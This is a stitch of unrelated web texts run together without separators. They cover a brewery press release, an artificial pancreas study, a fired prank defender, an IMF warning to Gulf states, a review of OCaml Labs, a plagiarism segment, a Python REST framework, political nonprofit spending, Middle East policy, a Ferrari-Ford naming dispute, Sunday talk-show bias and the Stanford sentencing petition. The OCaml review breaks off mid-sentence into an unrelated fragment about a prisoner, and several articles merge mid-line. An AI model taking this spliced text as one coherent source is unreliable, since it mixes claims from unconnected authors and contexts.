Brewed with rich, roasted malts and blended with smooth cold brewed coffee from Portland’s Stumptown Coffee Roasters, this beer is a satisfying take on a Milk Stout. “The cold brew process allows this beer to have a delicious coffee flavor without the added acidity,” adds Floyd. Noir can be found in 22-ounce bottles, Ninkasi’s 12-ounce Variety 12-Pack, and on draft September through December.
For the pumpkin beer lovers, Ninkasi introduces Imperial Pumpkin Sleigh’r to its Rare & Delicious Series. Serving up a fall-time rendition of the brewery’s winter seasonal, this Imperial Dark Doüble Alt Ale is brewed with 300 pounds of organic pumpkin and a generous helping of dark brown sugar.
“Last year we brewed Imperial Sleigh’r and quickly realized it would be the best base for a pumpkin beer,” explains Floyd. “This beer is bigger and bolder with the addition of organic Willamette Valley-grown Pumpkin from Stahlbush Island Farms and a dose of brown sugar for caramelization to round out the flavors.” Featuring artwork by Ninkasi’s Artist in Residence, Neal Williams, Imperial Pumpkin Sleigh’r will be available in exclusive 22-ounce bottles and on draft starting in September.
Noir Stats
Noir blends two signature brews of the Pacific Northwest: coffee and beer. This coffee milk stout combines roasted malts with smooth cold brewed coffee from Stumptown Coffee Roasters. A subtle sweetness from milk sugar (lactose) makes this beer reminiscent of the most satisfying cup of joe; distinctive and delectable.
Style: Milk Stout with Cold Brewed Coffee
Available: Sept. – Dec. 2015
ABV: 7.6%
IBU: 60
OG: 1082
Malt: 2-Row Pale, Munich, Chocolate, Crystal, Brown, Black, Rice Hulls
Hops: Nugget
Packaging: 22oz. Bottles, 12oz. Variety 12-Pack, Draft
Distribution: Alaska; Alberta; Arizona; California; Colorado; Idaho; Nevada; Oregon; Texas; Utah; Washington; Vancouver, British Columbia.
Imperial Pumpkin Sleigh’r Stats
The wicked stepbrother of Sleigh’r hits the town this fall. A burly 300 pounds of organic pumpkin and an ample helping of dark brown sugar were added to each batch, creating a sweet aroma, smooth mouthfeel and a warm finish plus all the toasted malt complexity Sleigh’r is known for. The legend of Sleigh’r lives on!
Style: Imperial Dark Doüble Alt Ale with Pumpkin and Brown Sugar
Available: Sept. 2015 – Depletion
ABV: 9.0%
IBU: 70
OG: 1089
Malt: 2-Row Pale, Crystal, Munich, Carahell, Roasted Barley, Chocolate
Hops: Nugget
Ingredients: Organic Pumpkin Puree, Dark Brown Sugar
Packaging: 22oz. Bottles, Draft
Distribution: Alaska; Alberta; Arizona; California; Colorado; Idaho; Nevada; Oregon; Utah; Washington; Vancouver, British Columbia.
Learn more about Ninkasi’s full lineup of beers at www.ninkasibrewing.com/delicious/beers.
About Ninkasi Brewing Company
Founded in 2006 by Jamie Floyd and Nikos Ridge, Ninkasi Brewing Company continues to grow from its first batch of Total Domination IPA, to two brewhouses, a 55-barrel and a 90-barrel brewhouse, located in Eugene, Ore. Ninkasi’s Flagship beers—Total Domination IPA, Tricerahops Double IPA, Dawn of the Red IRA, Lux Helles Lager, Oatis Oatmeal Stout, and Vanilla Oatis Oatmeal Stout—are sold throughout Alaska; Alberta; Arizona; California; Colorado; Idaho; Nevada; Oregon; Texas; Utah; Washington; and Vancouver, British Columbia. The brewery remains privately-owned and is committed to community support and giving. Ninkasi’s Beer Is Love program offers in-kind donations and support for organizations throughout its footprint.Close
People who have type 1 diabetes suffer from a low production of insulin because the condition causes their immune system to mistakenly attack the beta cells that produce the hormone in their pancreas.
While medical technology has allowed patients to supplant natural insulin with insulin shots developed in laboratories, this method is not as effective as those produced from within the body.
To solve this, researchers at the University of Cambridge in the United Kingdom developed an experimental device that can mimic the function of the pancreas.
This closed-loop insulin delivery system makes use of a smartphone app to closely monitor the blood sugar level of patients and automatically deliver insulin from within their body when needed.
According to the researchers, the new "artificial pancreas" serves to benefit teenagers diagnosed with type 1 diabetes more compared to using different products available in the market.
In a study featured in the journal Diabetes Care, Dr. Roman Hovorka and his colleagues at Cambridge's Metabolic Research Laboratories tested the efficacy of the new insulin delivery system on a group of young diabetics.
The research team discovered that the patients fitted with the artificial pancreas had 8.7 mmol/liter (close to 157 mg/deciliter) of blood sugar. This is a significantly lower level compared to the 10.1 mmol/liter (182 mg/deciliter) that other diabetics typically have when they use other insulin pumps.
For a person to be diagnosed with diabetes in the United States, his or her blood sugar should be 126 mg/deciliter or higher after fasting. The Cambridge experiment designated a safe target range between 3.9 mmol/liter (70 mg/deciliter) and 10 mmol/liter (180 mg/deciliter).
The study showed that the glucose levels of participants who received the artificial pancreas were within the safe target range about 72 percent of the time. The blood sugar of patients using a different device, on the other hand, reached the safe target only 53 percent of the time.
The researchers also found that the time the participants spent with alarmingly low blood sugar levels was only minimal. Both systems also showed equal results.
"The present study adds knowledge about performance in teenagers who are particularly vulnerable to poor glucose control," Hovorka said.
He added that they plan to carry out home testing of the new device involving elderly people and young children.
Hovorka explained that the application of the closed-loop insulin delivery system is not limited by the age of the patient. It is instead limited by the ability of the individual to use the device continuously monitor his or her glucose levels.
Photo: Tess Watson | Flickr
ⓒ 2018 TECHTIMES.com All rights reserved. Do not reproduce without permission.Earlier today we reported on a female Canadian reporter getting a little sick and tired of those “fuck her right in the pussy” live TV pranks, having been subjected to it herself, and confronted a bunch of sports fans about it on Sunday.
One of the people she confronted said it’s “fucking hilarious,” defended the prank from complaints that it’s an old joke, and even said, “You’re lucky there’s not a fucking vibrator here.”
Well, that man ended up being fired from his job. Hydro One identified him as assistant network management engineer/officer Shawn Simoes, and they are terminating him immediately.
The company’s head of communications said, “Respect for all people is ingrained in our values. We’re committed to a work environment where harassment of any kind is met with zero tolerance and a swift response.”
You can watch the confrontation in question here, via City News:
[h/t ABC News]
[image via screengrab]
— —
Follow Josh Feldman on Twitter: @feldmaniac
Have a tip we should know? tips@mediaite.comThe head of the IMF warns that Gulf countries are headed for a crisis unless they cut expenses or raise taxes.
Global oil prices have dropped sharply over the past year, leading to significant revenue shortfalls in many energy exporting nations - and according to experts there is no end in sight.
It is an alert, not an alarm, because all these countries, including Saudi Arabia, are starting from a position of strength where they have significant buffers accumulated over the last few years... But if countries do nothing and assuming the price of oil was to stay at the level where it is, then certainly reserves would be depleted promptly, and more promptly than one would imagine. Christine Lagarde, managing director of the IMF
Oil and gas producing countries in the Gulf region are struggling to keep their income and expenses in balance.
If they do not adapt to the oil price drop and seek alternatives, countries like Saudi Arabia could run out of buffers in just five years, warns the International Monetary Fund (IMF) in a recent report.
"The price of oil has sharply declined in the last 12 months and... we do not see a significant improvement in the near term. So as a result of the new reality, we believe that finance ministers and authorities should take steps in the spending site of their budget, in the revenue site of their budget, and they should also welcome private sector operators in order to create growth from alternative sources," said Christine Lagarde, the head of the IMF.
Lagarde travelled to the Gulf countries to deliver this message in person, meeting both, leaders and the younger generation in order to raise awareness and to offer solutions.
One of them involves the imposition of what might have been difficult to imagine just a few months ago: taxes.
"When you are running out of money, you don't have many options. You need to cut expenses or look for other income - or both," Lagarde said.
But aside from the issue of oil prices, there are many other critical issues facing the global economy and thereby the IMF.
Christine Lagarde, the head of the International Monetary Fund, talks to Al Jazeera about the future of the GCC economies, Europe's refugee crisis, the continuing financial problems in Greece, and the rising power of China. She also talks about inspiring women across the globe and her career - will she run for president in France's next presidential elections?
You can talk to Al Jazeera too. Join our Twitter conversation as we talk to world leaders and alternative voices shaping our times. You can also share your views and keep up to date with our latest interviews on Facebook.
Source: Al JazeeraReviewing the first year of OCaml Labs in 2013 all posts 29 December 2013 | Anil Madhavapeddy | tags: ocamllabs,ocaml | post syndicated from OCaml Labs
This time last year in 2012, I had just announced the formation of a new group called OCaml Labs in the Cambridge Computer Lab that would combine research and community work towards the practical application of functional programming. An incredible year has absolutely flown by, and I’ve put together this post to summarise what’s gone on, and point to our future directions for 2014.
The theme of our group was not to be pure research, but rather a hybrid group that would take on some of the load of day-to-day OCaml maintenance from INRIA, as well as help grow the wider OCaml community. To this end, all of our projects have been highly collaborative, often involving colleagues from OCamlPro, INRIA, Jane Street, Lexifi and Citrix.
This post covers progress in tooling, the compiler and language, community efforts, research projects and concludes with our priorities for 2014.
Tooling
At the start of 2013, OCaml was in the interesting position of being a mature decades-old language with a small, loyal community of industrial users who built mission critical applications using it. We had the opportunity to sit down with many of them at the OCaml Consortium meeting and prioritise where we started work. The answer came back clearly: while the compiler itself is legendary for its stability, the tooling around it (such as package management) was a pressing problem.
OPAM
Our solution to this tooling was centered around the OPAM package manager that OCamlPro released into beta just at the end of 2012, and had its first stable release in March 2013. OPAM differs from most system package managers by emphasising a flexible distributed workflow that uses version constraints to ensure incompatible libraries aren’t mixed up (important for the statically-typed OCaml that is very careful about dependencies). Working closely with OCamlPro we developed a git-based workflow to make it possible for users (both individual or industrial) to easily build up their own package repositories and redistribute OCaml code, and started curating the package repository.
The results have been satisfying: we started with an initial set of around 100 packages in OPAM (mostly imported by the 4 developers), and ended 2013 with 587 unique packages and 2000 individual versions, with contributions from 160 individuals. We now have a curated central package repository for anyone to submit their OCaml code, several third-party remotes are maintained (e.g. the Xen Project and Ocsigen). We also regularly receive releases of the Core libraries from Jane Street, and updates from sources as varied as Facebook, Coherent PDF, to the Frenetic SDN research.
Number of unique contributors to the central OPAM package repository.
Total number of unique packages (including multiple versions of the same package).
Total packages with multiple versions coalesced so you can see new package growth.
A notable contribution from OCamlPro during this time was to clarify the licensing on the package repository to be the liberal CC0, and also to pass ownership to the OCaml organization on GitHub, where it’s now jointly maintained by OCaml Labs, OCamlPro and anyone else that wishes to contribute.
A lens into global OCaml code
It’s been quite interesting just watching all the varied code fly into the repository, but stability quickly became a concern as the new packages piled up. OCaml compiles to native code on not just x86, but also PowerPC, Sparc and ARM CPUs. We kicked off various efforts into automated testing: firstly David Sheets built the OCamlot daemon that would schedule builds across all the exotic hardware. Later in the year, the Travis service launched support for testing from GitHub pull requests, and this became the front line of automated checking for all incoming new packages to OPAM.
A major headache with automated testing is usually setting up the right build environment with external library dependencies, and so we added Docker support to make it easier to bulk-build packages for local developer use, with the results of builds available publically for anyone to help triage. Unfortunately fixing the bugs themselves is still a very manual process, so more volunteers are always welcome to help out!
We’re going to be really seeing the rewards from all this effort as OCaml 4.02 development proceeds, since we can now adopt a data-driven approach to changing language features instead of guessing how much third-party code will break. If your code is in OPAM, then it’ll be tested as new features such as module aliases, injectivity and extension points show up.
Better documentation
The venerable OCamlDoc tool has done an admirable job for the last decade, but is increasingly showing its age due to a lack of support for cross-referencing across packages. We started working on this problem in the summer when Vincent Botbol visited us on an internship, expecting it to be a quick job to come up with something as good as Haskell’s excellent Haddock online documentation.
Instead, we ran into the “module wall”: since OCaml makes it so easy to parameterise code over other modules, it makes it hard to generate static documentation without outputting hundreds of megabytes of HTML every time. After some hard work from Vincent and Leo, we’ve got a working prototype that lets you simply run opam install opam-doc && opam doc core async to generate package documentation. You can see the results for Mirage online, but expect to see this integrated into the main OCaml site for all OPAM packages as we work through polishing up the user interface.
Turning OPAM into libraries
The other behind-the-scenes effort for OPAM has been to keep the core command-line tool simple and stable, and to have it install OCaml libraries that can be interfaced with by other tools to do domain-specific tasks. Thomas Gazagnaire, Louis Gesbert and David Sheets have been steadily hacking away at this and we now have opamfu to run operations over all packages, and an easy-to-template opam2web that generates the live opam.ocaml.org website.
This makes OPAM easier to deploy within other organizations that want to integrate it into their workflow. For example, the software section of the OCaml Labs website is regularly generated from a search of all OPAM packages tagged ocamllabs. We also used it to rewrite the entire OPAM repository in one epic diff to add external library dependencies via a command-line shim.
OPAM-in-a-Box
All of this effort is geared towards making it easier to maintain reusable local OPAM installations. After several requests from big universities to help out their teaching needs, we’re putting together all the support needed to easily redistribute OPAM packages via an “OPAM-in-a-Box” command that uses Docker containers to let you clone and do lightweight modifications of OCaml installations.
This will also be useful for anyone who’d like to run tutorials or teach OCaml, without having to rely on flaky network connectivity at conference venues: a problem we’ve suffered from too!
Core Compiler
Starting to work on a real compiler can often be a daunting prospect, and so one initiative we started this year is to host regular compiler hacking sessions where people could find a curated list of features to work on, with the regular developers at hand to help out when people get stuck, and free beer and pizza to oil the coding wheels. This has worked out well, with around 20 people showing up on average for the three we held, and several patches submitted upstream to OCaml. Gabriel Scherer and Damien Doligez have been helping this effort by tagging junior jobs in the OCaml Mantis bug tracker as they are filed.
Syntax transformations and extension points
Leo White started the year fresh out of completing his PhD with Alan Mycroft, and before he realized what he’d gotten himself into was working with Alain Frisch on the future of syntax transformations in OCaml. We started off our first wg-camlp4 working group on the new lists.ocaml.org host, and a spirited discussion started that went on and on for several months. It ended with a very satisfying design for a simpler extension points mechanism which Leo presented at the OCaml 2013 workshop at ICFP, and is now merged into OCaml 4.02-trunk.
Namespaces
Not all of the working groups were quite as successful in coming to a conclusion as the Camlp4 one. On the Platform mailing list, Gabriel Scherer started a discussion on the design for namespaces in OCaml. The resulting discussion was useful in separating multiple concerns that were intermingled in the initial proposal, and Leo wrote a comprehensive blog post on a proposed namespace design.
After further discussion at ICFP 2013 with Jacques Garrigue later in the year, it turns out adding support for module aliases would solve much of the cost associated with compiling large libraries such as Core, with no backwards compatibility issues. This solution has now been integrated into OCaml 4.02.0dev and is being tested with Core.
Delving into the bug tracker
Jeremy Yallop joined us in April, and he and Leo also leapt into the core compiler and started triaging issues on the OCaml bug tracker. This seems unglamorous in the beginning, but there rapidly turned out to be many fascinating threads that shed light on OCaml’s design and implementation through seemingly harmless bugs. Here is a pick of some interesting threads through the year that we’ve been involved with:
This is just a sample of some of the issues solved in Mantis; if you want to learn more about OCaml, it’s well worth browsing through it to learn from over a decade of interesting discussions from all the developers.
Thread-local storage runtime
While OCamlPro was working on their reentrant OCaml runtime, we took a different tack by adding thread-local storage to the runtime instead, courtesy of Stephen Dolan. This is an important choice to make at the outset of adding multicore, so both approaches are warranted. The preemptive runtime adds a lot of code churn (due to adding a context parameter to most function calls) and takes up a register, whereas the thread-local storage approach we tried doesn’t permit callbacks to different threads.
Much of this work isn’t interesting on its own, but forms the basis for a fully multicore runtime (with associated programming model) in 2014. Stay tuned!
Ctypes
One other complaint from the Consortium members was quite surprising: the difficulty of using the OCaml foreign function interface safely to interface with C code. Jeremy Yallop began working on the ctypes library that had the goal of eliminating the need to write any C code at all for the vast majority of foreign bindings.
Instead, Ctypes lets you describe any C function call as an OCaml value, and provides various linkage options to invoke that function into C. The first option he implemented was a dlopen interface, which immediately brought us the same level of functionality as the Python or Haskell Ctypes equivalents. This early code was in itself startlingly useful and more pleasant to use than the raw FFI, and various folk (such as David Sheets’ libsodium cryptography bindings) started adopting it.
At this point, I happened to be struggling to write the Foreign Function Interface chapter of Real World OCaml without blowing through our page budget with a comprehensive explanation of the existing system. I decided to take a risk and write about Ctypes instead, since it let new users to the language have a far more productive experience to get started. Xavier Leroy pointed out some shortcomings of the library in his technical book review, most notably with the lack of an interface with C macros. The design of Ctypes fully supports alternate linking mechanisms than just dlopen though, and Jeremy has added automatic C stub generation support as well. This means that if you use Ctypes to build an OCaml binding in 2014, you can choose several mechanisms for the same source code to link to the external system. Jeremy even demonstrated a forking model at OCaml 2013 that protects the OCaml runtime from the C binding via process separation.
The effort is paying off: Daniel Bünzli ported SDL2 using ctypes, and gave us extensive feedback about any missing corner cases, and the resulting bindings don’t require any C code to be written. Jonathan Protzenko even used it to implement an OCaml controller for |
27 firearm with ammunition.
Salcedo is serving time at a federal prison camp in McKean, Pennsylvania, where he has a job in the welding shop. He's projected for release in October, 2011.
See Also:Now, here's a memory test for loyal Media Watch viewers. What is this?
Well, it's the Phantom of the Internet trophy, which back in March 2008 we awarded to IT journalist David Richards, owner of web publisher 4Square Media.
It's for the most original explanation for apparent plagiarism.
We'd identified some ten articles on Richards' websites: Smarthouse; SmarthouseNews and SmartOffice, that had clearly been lifted from elsewhere.
For example, a David Richards story about the imminent launch of Google's Android phones, was taken directly from the website of Britain's Telegraph newspaper:
The sophisticated handsets will make it easier to browse the web and bring some of the programs and features usually found on home computers to mobiles. Some of the world's leading phone manufacturers are expected to reveal prototypes of devices... — Telegraph.co.uk, 8th February, 2008 The sophisticated handsets will make it easier to browse the web and bring some of the programs and features usually found on home computers to mobiles. Some of the world's leading phone manufacturers are expected to reveal prototypes of devices... — Smarthouse website, 10th February, 2008
Jonathan Holmes: And so on, and so on, for five hundred and fifty three identical words. — Media Watch, Episode 3, 3rd March, 2008
Other articles were lifted from American websites like PC World, which specialise, as Richards' do, in electronic consumer gadgetry.
At first, David Richards claimed that he had licenses that allowed him to use this material.
When we showed that wasn't so, he came up with this:
We believe that a former employee who had access to our content engine has changed bylines, dates on stories and posted stories without our knowledge in an effort to discredit us. — Media Watch, Episode 3, 3rd March, 2008
It was all the fault of a mystery hacker - or, as we dubbed him then, the Phantom of the Internet.
Well, a couple of weeks ago a viewer tipped us off about this article on the website IT Journo...
4Square Media is at the centre of another copyright controversy, with IDG demanding that the Smarthouse website take down content it believes was copied from the PC World website. — IT Journo website, 10th June, 2010
PC World recently reviewed a new desktop computer from European company Medion - and was incensed to see chunks of its review reprinted on Smarthouse.
Medion... Shows Up HP & Dell By David Richards — Smarthouse Website
...WorldBench 6 on the PC it recorded a score of 112. This is a significant jump from Medion's older P4010 which we reviewed last year it also out performed HP and Dell's all-in-one PC offerings. — Smarthouse, 3rd June, 2010...WorldBench 6 on the Medion AKOYA P4020 D it recorded a score of 112. This is a significant jump from Medion's older P4010 touchscreen PC as well as HP's and Dell's all-in-one PC offerings. — PC World, 3rd June, 2010
And what about the audio quality?
...internal stereo speakers perform well, with good treble and reasonable mid-range sound reproduction at low to moderate volume levels. — Smarthouse, 3rd June, 2010...internal stereo speakers perform well, with good treble and reasonable mid-range sound reproduction at low to moderate volume levels. — PC World, 3rd June, 2010
The owners of PC World, IDG, sent a firm email to David Richards about the apparent plagiarism.
But the dreaded Phantom must have wormed his way into Smarthouse's email system, because Richards told IT Journo that he hadn't received any email from IDG.
In any case, he went on...
"It's all crap... Basically they can all go and get f#%ked. This is bullshit". — IT Journo website, 10th June, 2010
We assumed those must be technical terms understood only by geeks.
So we got onto David Richards ourselves.
He explained that, though he had taken the odd sentence from PC World, it didn't amount to breach of copyright.
The copy you refer to is not substantial, is not novel and is basically a technical reference to a product which is available. — Response from David Richards to Media Watch, 17th June, 2010
Read David Richard's full response to Media Watch's questions
Richards fired off an email to IDG, making the same legalistic points, and claiming that he was:
...more than happy to defend a Copyright claim in the Supreme Court... — Email from David Richards to Davy Adams (Managing Director, IDG Communications), 18th June, 2010
He then made a threat of his own:
I believe that your claims to IT Journo are defamatory based on current copyright laws in Australia and as such I demand an apology. — Email from David Richards to Davy Adams (Managing Director, IDG Communications), 18th June, 2010
To which IDG responded drily:
Given that you have confirmed that you are doing what was covered in the IT Journo article, you might find winning a defamation case a bit of a slog. Your time and effort would probably be better spent writing good original content. — Email from Davy Adams (Managing Director, IDG Communications) to David Richards, 18th June, 2010
Ah, it's all smiles and good fellowship out there in techno-geek land!
As for the Phantom of the Internet trophy - well, Mr Richards, it's still yours.Ray: a new python web framework
felipe volpone Blocked Unblock Follow Following Aug 21, 2016
TL;DR: check the project here
Ray is a new python web framework to help you develop REST APIs. Ray provides features that are common to almost every backend who serves REST APIs. Let's check them:
Endpoints
Adding the @endpoint decorator to your model, you’ll have all HTTP methods (POST, DELETE, GET, PUT) to interact with your model through the url “/api/user”. Also, endpoints supports query string to the GET method (e.g: /api/user?age=99)
How to do it:
@endpoint(‘/user’)
class User(PeeweeModel):
name = peewee.CharField()
bio = peewee.TextField()
age = peewee.IntegerField()
Hooks
Hooks are useful to add validations in different moments of your application. Hook is a class that connect with your model and will be executed before save the model, after the model be saved or before the model be deleted.
class AgeValidationHook(Hook):
def before_save(self, user):
if user.age < 18:
raise Exception(‘The user must have more than 18 years’)
return True
@endpoint(‘/user’)
class User(PeeweeModel):
hooks = [AgeValidationHook]
Actions
Actions provide a simple way to you add a custom endpoints in your API. After writing the code bellow, you can use the url /api/user/<user_id>/activate to invoke the activate_user method.
class ActionUser(ActionAPI):
__model__ = User
@action('/activate')
def activate_user(self, model_id):
user = User.get(id=model_id)
user.activate = True
user.put()
Authentication
Ray has a built-in authentication module. To use it, you just need to inherit the Authentication class and implement the method authenticate. In this method, you’ll check the data in the database and then return if the user can login or not.
class MyAuth(Authentication):
@classmethod
def authenticate(cls, username, password):
user = User.query(User.username == username,
User.password == password).one()
return {'username': 'ray'} if user else None
# If you want protect all the operations in this endpoint, you can just add this:
After protect your endpoint via an Authentication, you will need to be logged in to don’t get a 403 status code. To do this use the urls: /api/_login and /api/_logout.
Shields
Ray has an option to you protect just some HTTP methods of your endpoint: using Shields. How does it works? You inherit from the Shield class and implement just the http method that you want to protect. The shield bellow protects the GET method of /api/person.
class PersonShield(Shield):
__model__ = PersonModel
def get(self, user_data):
return user_data['profile'] == 'admin'
# def put(self, user_data): pass
# def post(self, user_data): pass
# def delete(self, user_data): pass
Do you want to see more details about Ray? Check the project repository here!YG Network, the 501(c)(4) social welfare organization launched by a former staffer for House Majority Leader Eric Cantor (R-Va.), spent just under $10 million last year, according to its IRS tax filing.
The group came on strong, given that it was founded just the year before and spent a meager $108,000 in 2011. More than $7 million of its $12.7 million in revenues last year came from just five donors. Like other politically active nonprofits, YG Network doesn’t have to disclose the identities of its contributors.
The organization, which was founded by Cantor’s former Deputy Chief of Staff John Murray, told the IRS it spent $4 million on politics, which is about $1 million more than what the organization had reported to the FEC.
And it was flush enough to pay Murray, the organization’s president/director, very well for part-time work. He received a salary of $630,000 for working 30 hours per week in 2012, the filing shows. To compare, Crossroads GPS president Steven Law got $538,000 for working 48 hours a week, and Americans for Tax Reform president Grover Norquist received $257,404 for 40 hours a week.
Much of the organization’s money — likely including that additional amount not reported to the FEC — went to digital and radio ad campaigns in support of various hot-button issues like the sequester. Among the ads the YG Network paid for in 2012 were a digital and radio campaign warning of the dangers of automatic budget cuts to national security, as well as a digital campaign focusing on preventing tax hikes for small businesses.
In addition, though — despite stating on its tax documents that it was formed “primarily for the purpose of informing the public on, and advocating for” various conservative issues — YG Network got involved in several big congressional races in 2012. During the Indiana Senate GOP primary it generated some controversy when it spent $200,000 on mailers encouraging votes for incumbent Sen. Richard Lugar (R-Ind.) over his challenger, state Treasurer Richard Mourdock. Many Republicans were angered by the fact that the mailers targeted Democrats and independent voters, urging them to support Lugar.
In the end, the mailers didn’t make much of a difference: Lugar lost to Mourdock in the primary, who subsequently lost to Democratic candidate Joe Donnelly.
Overall, YG Network spent nearly $2.9 million directly asking people to vote for or against 24 congressional candidates in 2012.Paul Pillar makes the case against taking either side in the Saudi-Iranian rivalry:
It would be just as much of a mistake for the United States to tilt in favor of Iran in this conflict as it is to tilt in favor of Saudi Arabia. Taking either side in this rivalry, as with many other international rivalries, entails several disadvantages for the United States.
There is a strong bias against neutrality in our foreign policy debates. Not taking sides in this or that conflict is rarely taken seriously as an appropriate response. Instead of asking whether the U.S. should even take a side, it is taken for granted that the U.S. “must” choose one or the other, and the main debate concerns only how much and what kind of support to provide. This is a recurring problem in debating the proper response to conflicts inside countries as well as rivalries between them. One reason for this is that U.S. interests and the interests of another state or faction within a state are conflated from the beginning, and this is done to make it much more difficult to recognize that the U.S. doesn’t actually have interests in the conflict or rivalry in question. Hawks often “adopt” a faction or government and then fault the U.S. for “failing” to do enough to help “our” side. Refusing to take a side is portrayed as “abdication” of “leadership” or otherwise pilloried as too passive, and the bias in favor of action in our debates helps to make it harder to advocate against taking sides.
Today’s Fareed Zakaria column shows how difficult it is for most pundits to do this. Even when arguing for steering clear of regional sectarian rivalry, Zakaria can’t avoid endorsing U.S. support for the Saudis:
In general, the United States should support Saudi Arabia in resisting Iran’s encroachments in the region, but it should not take sides in the broader sectarian struggle.
But it is not possible to support an overtly sectarian Saudi government in its preoccupation with opposing Iranian influence without being pulled into the “broader sectarian struggle,” in no small part because the Saudis define their resistance to Iran’s supposed “encroachments” in terms of religious sect. The Saudis falsely claim that their war on Yemen is aimed at “resisting Iran’s encroachments,” and the U.S. has been supporting their campaign from the start, and in so doing it is helping to fuel sectarian hatreds in Yemen and beyond. Zakaria correctly recognizes the pitfalls of being pulled into sectarian conflicts in the region, but won’t acknowledge that the U.S. is caught up in them because of the support it provides to sectarian governments. He specifically mentions the growing sectarianism in Yemen, but doesn’t make the connection with U.S. support for the Saudi-led intervention there. Despite explicitly saying that the U.S. shouldn’t take sides in “someone else’s civil war,” he approves of doing just that by accepting that the U.S. should keep supporting the Saudis.
One of the most common arguments for siding with the Saudis in their hostility towards Iran is that they are our “ally,” and therefore the U.S. should automatically support the position of its “ally.” This overlooks that the U.S. has no treaty obligations to the kingdom, and ignores that the so-called “ally” does virtually nothing for us. The U.S. cannot expect and does not receive the sort of automatic support and cooperation from so-called “allies” that many hawks expect the U.S. to provide to them, but it is often assumed that the U.S. would be “abandoning” the so-called “ally” if it chose not to take their side against a regional rival. For some reason, many Americans forget that the relationship with an “ally” exists to advance our interests and not so that our government can indulge theirs in its vendettas and obsessions. When U.S. interests are no longer served by such a relationship (if they ever were), the U.S. doesn’t need and shouldn’t want to keep it the way it is.Ferrari vs Ford: The F150 name game
We want to make sure that when someone says "F150" people think "truck" -- not "racecar," Ford says. So the American automaker sued Ferrari.
NEW YORK (CNNMoney) -- Ford made it very clear to Italian sports car maker Ferrari, that the name "F150" means a truck -- not a racecar. Faced with a lawsuit over the matter, Ferrari backed down.
Ferrari had named its new Formula 1 racecar the F150, in celebration of the 150th anniversary of Italy's unification. But the name tag already has a strong following on one of the best-selling vehicles in America -- the Ford F-150 pickup truck.
Not wanting the Italian automaker messing with its name, Ford (F, Fortune 500) filed a lawsuit against Ferrari. And on Thursday, Ferrari was the first one to step away from the F150 fight.
The Italian automaker announced it was changing the way it referred to its racecar.... It will now be called the F150th Italia.
However, Ferrari still doesn't understand what upset Ford so much.
"Ferrari believes its own contender in the upcoming F1 Championship cannot be confused with any other types of commercially available vehicle whatsoever, nor can it give the impression that there is a link to another brand of road-going vehicle," Ferrari said in a statement. "Therefore it is very difficult to understand Ford's viewpoint on the matter."
In response, Ford says it never thought anyone would confuse its big, brawny truck with a single-seat, open-wheel race car.
"We're not concerned that the two vehicles would be confused," Ford spokeswoman Anne Marie Gattari said. "The motive behind this action was about the brand being diluted."
In other words, the name "F150" to most people means a truck. Ford wanted to make sure it stayed that way.
Regardless, Ferrari will change how it refers to the car. But Ferrari said that this isn't really a name change -- F150th Italia was really the name of the car all along. But from now on, Ferrari will always use the full name -- not the shortened F150 -- so they can keep out of Ford's way.
Ford Motor Co. was not immediately able to say whether it was satisfied with Ferrari's change.If it's Sunday, it must be John McCain
If it's Sunday, it must be John McCain
It's not all in your imagination. Yes, the Sunday talk shows are all about Republicans, week after week. Peter Hart from the liberal watchdog group Fairness and Accuracy in Reporting has the results of eight months of monitoring four Sunday morning talk shows—ABC’s, NBC’s, CBS’sand—from June 2011 through February 2012, and a very distinct lean to the right.
Republicans dominated one-on-one interviews, appearing 70 percent of the time—166 Republicans to 70 Democrats. The gender and race imbalance was even more shocking, with men dominating by 86 percent (228 male guests compared to 36 women), and 92 percent of guests were white.
The round-table discussions were no better:
Unlike the one-on-one interviews, these roundtable segments include some voices from outside the two parties; partisan sources—who leaned Republican, 180 to 109—accounted for less than half of the guests. But the nonpartisan guests didn’t alter the right’s advantage, with Republicans and/or conservatives making 282 appearances to 164 by Democrats and progressives (categories that are less interchangeable). Middle-of-the-road Beltway journalists made 201 appearances in roundtables, which serves to buttress the argument that corporate media’s idea of a debate is conservative ideologues matched by centrist-oriented journalists. Women were just 29 percent of roundtable guests. The ethnic diversity was similarly woeful: 85 percent white and 11 percent African-American, with 3 percent Latino. Other ethnicities made up an additional 2 percent of roundtable guests.
The hotly contested Republican presidential nomination probably counts for a portion of the imbalance, but FAIR looked back at 2003-04, when Democrats were fighting it out in a primary. Hart references a Media Matters study during that period that found the shows were still skewing Republican.
Where this matters is reflected in a story Meteor Blades covered earlier this week. Another Media Matters study found that on one key issue—climate change—coverage has shrunk by 90 percent. Not only that, in 2011, the only Sunday show guests to discuss the issue were Republican politicians. No scientists. No experts.
And, increasingly, no relevance to actual life in America. The Sunday shows are a perfect representation of how Face the Nation host Bob Schieffer introduced his November 6, 2011 show: a “cross-section of Republicans.”(Reuters) - A petition calling to remove from the bench the judge whose sentencing in a high-profile Stanford University rape case has sparked outrage had attracted close to 100,000 signatures by Monday.
Former Stanford student Brock Turner who was sentenced to six months in county jail for the sexual assault of an unconscious and intoxicated woman in January 2015 is shown in this Santa Clara County Sheriff's booking photo released on June 7, 2016. Courtesy Santa Clara County Sheriff's Office/Handout via REUTERS
Santa Clara County Superior Court Judge Aaron Persky last week sentenced former Stanford student Brock Turner to six months in county jail for the sexual assault of an unconscious and intoxicated woman in January 2015.
Opponents have accused Persky of being too lenient on Turner. Persky also attended Stanford, according to a biography of provided by the League of Women Voters.
A petition calling for his removal from office posted on the Change.org website on Saturday attracted over 95,000 signatures by Monday evening.
Maria Ruiz, a Miami nurse who authored the petition, said she was “outraged” when she heard about Turner’s sentence.
“Honestly, I was terribly upset,” Ruiz told Reuters. “As soon as I heard about it I jumped on the computer and I was like, ‘I have to do something.’”
The Change.org post encourages people to file complaints with California’s Commission on Judicial Performance. The agency declined to comment, citing the confidentiality of complaints.
Ruiz listed 45 different recipients in the petition, including U.S. Senators Dianne Feinstein and Barbara Boxer. Neither senator immediately responded to a request for comment.
Numerous attempts to contact Persky went unanswered.
Santa Clara County District Attorney Jeff Rosen said on Monday he did not believe Persky should be recalled from office. “While I strongly disagree with the sentence that Judge Persky issued in the Brock Turner case, I do not believe he should be removed from his judgeship,” Rosen said in a statement.
A day after the sentencing, BuzzFeed published a letter that the unidentified victim had read during Turner’s sentencing.
“You took away my worth, my privacy, my energy, my time, my safety, my intimacy, my confidence, my own voice, until today,” she writes. “My independence, natural joy, gentleness, and steady lifestyle I had been enjoying became distorted beyond recognition.”
The letter has been viewed over 5.7 million times, according to BuzzFeed, and generated an outpouring of sympathy on social media.
